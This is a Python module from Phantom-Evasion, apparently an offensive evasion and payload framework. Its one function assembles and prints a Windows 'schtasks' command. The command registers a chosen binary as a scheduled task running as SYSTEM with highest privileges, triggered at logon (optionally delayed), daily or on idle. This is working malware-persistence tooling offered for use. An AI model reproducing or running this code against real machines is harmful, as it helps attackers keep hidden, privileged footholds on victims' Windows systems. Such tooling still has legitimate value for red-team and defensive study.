
     ########################################################################################
     #                                                                                      #
     #    This file is part of Phantom-Evasion.                                             #
     #                                                                                      #
     #    Phantom-Evasion is free software: you can redistribute it and/or modify           #
     #    it under the terms of the GNU General Public License as published by              #
     #    the Free Software Foundation, either version 3 of the License, or                 #
     #    (at your option) any later version.                                               #
     #                                                                                      #
     #    Phantom-Evasion is distributed in the hope that it will be useful,                #
     #    but WITHOUT ANY WARRANTY; without even the implied warranty of                    #
     #    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                     #
     #    GNU General Public License for more details.                                      #
     #                                                                                      #  
     #    You should have received a copy of the GNU General Public License                 #
     #   along with Phantom-Evasion.  If not, see <http://www.gnu.org/licenses/>.           #
     #                                                                                      #
     ########################################################################################

import sys 
sys.path.append("Modules/payloads/auxiliar")
from usefull import bcolors
from usefull import Enter2Continue

def Persistence_CMD_Schtasks_windows(ModOpt):

    FilePath = ModOpt["Binpath"]
    TaskName = ModOpt["Pname"]
    TypePersistence = ModOpt["SchtMode"]
    TimeVar = ModOpt["Timevar"]
    cmdline = ""

    if TypePersistence in ["Startup","S"]:        #Startup/System

        if TimeVar == "No":
        
            cmdline += "schtasks /create /tn " + TaskName + " /sc ONLOGON /rl highest /ru system /F /tr \"" + FilePath + "\""

        else:

            cmdline += "schtasks /create /tn " + TaskName + " /sc ONLOGON /delay " + TimeVar + " /rl highest /ru system /F /tr \"" + FilePath + "\""   


    elif TypePersistence in ["Daily","D"]:        #Dailytime/System 

        cmdline += "schtasks /create /tn " + TaskName + " /sc DAILY /ST" + TimeVar + " /rl highest /ru system /F /tr \"" + FilePath + "\""


    elif TypePersistence in ["Idle","I"]:        #Idletime/System

        cmdline += "schtasks /create /tn " + TaskName + " /sc ONIDLE /I " + TimeVar + " /rl highest /ru system /F /tr \"" + FilePath + "\""


    print("\n" + bcolors.OCRA + bcolors.BOLD + "[>] Admin Priv: " + bcolors.ENDC + bcolors.ENDC + bcolors.RED + "Required" + bcolors.ENDC)
    print("\n" + bcolors.OCRA + bcolors.BOLD + "[>] Persistence Cmdline: " + bcolors.ENDC + bcolors.ENDC + cmdline)




